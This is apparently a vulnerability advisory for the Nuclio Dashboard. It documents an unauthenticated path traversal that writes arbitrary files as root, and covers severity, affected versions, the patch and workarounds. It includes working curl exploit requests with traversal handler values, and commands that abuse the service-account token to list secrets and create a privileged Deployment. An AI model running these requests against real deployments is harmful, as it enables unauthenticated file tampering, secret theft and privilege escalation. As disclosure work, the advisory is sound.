Details
Step 5: Create default project (required by Dashboard API)
curl -s -X POST http://localhost:8073/api/projects \
-H "Content-Type: application/json" \
-d '{"metadata":{"name":"default","namespace":"nuclio"},"spec":{"description":"default"}}'
---
Exploitation
Step 6: Send path traversal request
The handler field ../../../../tmp/vul007_proof.txt:handler instructs the build pipeline to write functionSourceCode content to /tmp/vul007_proof.txt inside the Dashboard container.
curl -v -X POST http://localhost:8073/api/functions \
-H "Content-Type: application/json" \
-H "x-nuclio-project-name: default" \
-d '{
"metadata": {"name": "vul007-poc", "namespace": "nuclio"},
"spec": {
"runtime": "python:3.11",
"handler": "../../../../tmp/vul007_proof.txt:handler",
"build": {
"functionSourceCode": "UFJPVkVELVBBVEgtVFJBVkVSU0FMLVZVTDAwNw=="
},
"minReplicas": 0,
"maxReplicas": 1
}
}'
functionSourceCode base64 decoded: PROVED-PATH-TRAVERSAL-VUL007
Expected response:
HTTP/1.1 202 Accepted
Step 7: Observe Dashboard build logs
kubectl --context kind-vul-007 logs -n nuclio deploy/nuclio-dashboard --tail=20 \
| grep -E "temporary dir|Writing function source"
Actual log output (captured during verification, timestamp 2026-05-17 14:55:02 CST):
26.05.17 14:55:02.225 (D) dashboard.server.api/functions Created temporary dir
{"dir": "/tmp/nuclio-build-227825660/source"}
26.05.17 14:55:02.225 (D) dashboard.server.api/functions Writing function source code to temporary file
{"functionPath": "/tmp/vul007_proof.txt"}
The log confirms functionPath resolved to /tmp/vul007_proof.txt, which is
outside the tempDir /tmp/nuclio-build-227825660/source. Path traversal is confirmed.
Step 8: Verify file written to traversal path
kubectl --context kind-vul-007 exec -n nuclio deploy/nuclio-dashboard \
-- cat /tmp/vul007_proof.txt
Output:
PROVED-PATH-TRAVERSAL-VUL007
kubectl --context kind-vul-007 exec -n nuclio deploy/nuclio-dashboard \
-- ls -la /tmp/vul007_proof.txt
Output:
-rw-r--r-- 1 root root 28 May 17 14:55 /tmp/vul007_proof.txt
Step 9: Write to /etc/ — broader impact demonstration
curl -s -X POST http://localhost:8073/api/functions \
-H "Content-Type: application/json" \
-H "x-nuclio-project-name: default" \
-d '{
"metadata": {"name": "vul007-poc2", "namespace": "nuclio"},
"spec": {
"runtime": "python:3.11",
"handler": "../../../../etc/vul007-marker.txt:handler",
"build": {
"functionSourceCode": "VlVMMDA3LVBFUlNJU1RFTlQtTUFSS0VSLXJvb3Q="
}
}
}'
Log evidence:
26.05.17 14:55:50.666 (D) dashboard.server.api/functions Writing function source code to temporary file
{"functionPath": "/etc/vul007-marker.txt"}
kubectl --context kind-vul-007 exec -n nuclio deploy/nuclio-dashboard \
-- cat /etc/vul007-marker.txt
# VUL007-PERSISTENT-MARKER-root
---
Cleanup
kubectl --context kind-vul-007 delete nucliofunction vul007-poc vul007-poc2 -n nuclio 2>/dev/null || true
kind delete cluster --name vul-007
---
Impact
Direct Impact
An unauthenticated attacker with network access to the Nuclio Dashboard port can write arbitrary content to any path accessible by the Dashboard process (running as root) inside the Dashboard container.
Demonstrated write targets:
/tmp/— confirmed (primary PoC)/etc/— confirmed (secondary PoC)
Potential high-impact write targets:
/etc/cron.d/— write a cron job entry; if a cron daemon runs in the container, this achieves scheduled arbitrary command execution inside the container/usr/local/bin/<name>— overwrite a binary called by dashboard processes- Any file path accessible by root within the container filesystem
Privilege Escalation
The Dashboard container runs as uid=0 (root). Its mounted Kubernetes ServiceAccount (nuclio-dashboard) holds the following RBAC permissions in the nuclio namespace:
Resources Verbs
secrets [*]
deployments.apps [*]
pods [*]
configmaps [*]
services [*]
cronjobs.batch [*]
Verification: Using the SA token directly against the Kubernetes API:
# List secrets — HTTP 200
curl -k -H "Authorization: Bearer $SA_TOKEN" \
"$K8S_API/api/v1/namespaces/nuclio/secrets"
# => returns helm release secret, nuclio SA secret
# Create privileged Deployment — HTTP 201
curl -k -X POST -H "Authorization: Bearer $SA_TOKEN" \
-H "Content-Type: application/json" \
"$K8S_API/apis/apps/v1/namespaces/nuclio/deployments" \
-d '{"spec":{"template":{"spec":{"containers":[{"name":"t","image":"busybox","securityContext":{"privileged":true}}]}}}}'
# HTTP_CODE:201
An attacker who compromises the Dashboard container (via this file write vulnerability) gains access to this SA token and can create privileged workloads in the nuclio namespace, potentially escalating to cluster-level access depending on cluster configuration.
Scope
The file write is bounded to the Dashboard container filesystem. Host-level writes require additional preconditions (hostPath volumes, privileged container mode, or DinD configuration) not present in a standard Nuclio Kubernetes deployment.
---
Severity
CVSS 3.1 Score: 7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
| Metric | Value | Rationale |
|--------|-------|-----------|
| Attack Vector | Network | Dashboard API reachable over network |
| Attack Complexity | Low | Single HTTP request, no race condition |
| Privileges Required | None | Default NOP auth mode requires no credentials |
| User Interaction | None | Fully automated |
| Scope | Unchanged | Write confined to Dashboard container |
| Confidentiality | None | No data read in primary attack path |
| Integrity | High | Arbitrary file write as root in container |
| Availability | None | No service disruption caused by write |
---
Affected Versions
- Nuclio <= 1.15.27 (latest release at time of research)
- Dynamically verified against
quay.io/nuclio/dashboard:1.15.27-amd64on 2026-05-17
The vulnerable code path (writeFunctionSourceCodeToTempFile in pkg/processor/build/builder.go)
has been present since the functionSourceCode inline code feature was introduced.
---
Patched Versions
https://github.com/nuclio/nuclio/releases/tag/1.16.5
---
Workarounds
Option 1: Enable authentication on the Dashboard
Set NUCLIO_AUTH_KIND to a non-NOP value (e.g., iguazio) to require credentials. This prevents unauthenticated access to the API. Consult Nuclio documentation for supported auth providers.
# In Dashboard deployment env
- name: NUCLIO_AUTH_KIND
value: "iguazio"
Option 2: Network-level access control
Restrict network access to the Dashboard port (default 8070) to trusted networks only. Do not expose the Dashboard directly to the internet.